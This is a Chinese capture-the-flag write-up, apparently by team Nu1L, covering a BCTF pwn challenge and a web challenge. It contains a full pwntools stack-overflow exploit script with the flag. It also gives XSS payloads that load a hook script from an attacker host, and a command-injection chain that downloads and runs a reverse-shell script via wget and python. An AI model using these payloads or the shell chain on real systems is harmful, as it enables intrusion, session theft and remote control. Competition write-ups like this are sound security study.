Part 2
这题目多亏了队友们的帮助...
下载附件,发现不是elf格式的文件,看到文件头有c0def00d的标志,猜测是某种虚拟环境的可执行文件。队友在github找到了。
接下来就是分析了,队友基本上把整个框架逆了出来,我直接看他分析出来的,发现在三次输入字符串计算出来的索引为5,2,0的情况下可以触发一个栈溢出。而字符串索引的计算方式为:
index = sum(i*a[i])%0x14,利用这个栈溢出直接把内存里的flag 打印出来就ok。
脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# flag = BCTF{LOVES_Be4ut1ful}
io = remote('104.199.132.199', 2666)
#io = process(['/home/arch/tools/v9-cpu/xem','happygirlsday'])
payload1 = 'AA'
payload2 = '>>'
stack_overflow_xxx = 30*'a' + p32(0x00000758) + p32(0) + p32(0xe18) + p32(0x0) + p32(0xe18) + p32(0)
def sendmsg(x):
print io.recvuntil('something:')
io.sendline(x)
return
def main():
sendmsg(payload1)
sendmsg(payload2)
print io.recvuntil('me?') # here exploit
io.sendline(stack_overflow_xxx)
io.interactive()
return 0
if __name__ == '__main__':
main()
WEB
1. QAQ(350分)
Web狗的末日ctf,竟然只有两个web。
留言板处有XSS。 Firefox可以使用iFrame srcdoc+实体编码绕过。
<iframe srcdoc="<script src=http://xxxx:3000/hook.js></script>">
Chrome可以使用link标签引入外部html+利用filter特性绕过。(只有在chrome下可行)
<link rel="import" href="http://1.xxxx.sinaapp.com&sol;iponclick1.php" />
打到Cookie发现并没有什么egg use,登陆还有基础认证,于是果断上Beef。
尝试读了页面源码,和 4dmin 目录,并没有发现什么。 hint说在内网有秘♂密。 于是利用webrtc读了一波ip,发现内网地址172.17.0.1 。 hint表示有CORS头。 于是用Rider试试看访问同一网段下的内网服务器。
运气不错,172.17.0.2就有神奇的东西。 ob_start的callback被设置成了system,于是直接访问
http://172.17.0.2/?c=ls 就可以执行命令了。 ls了一下发现什么都没有,想了想还是弹个shell好了。
c=wget%20http://1.xxxxx.sinaapp.com/back.py
c=python%20back.py%204.3.2.1%201234
顺利弹回。GetFlag
*原创作者:Nu1L团队,本文属FreeBuf原创奖励计划,未经许可禁止转载
请登录/注册后在FreeBuf发布内容哦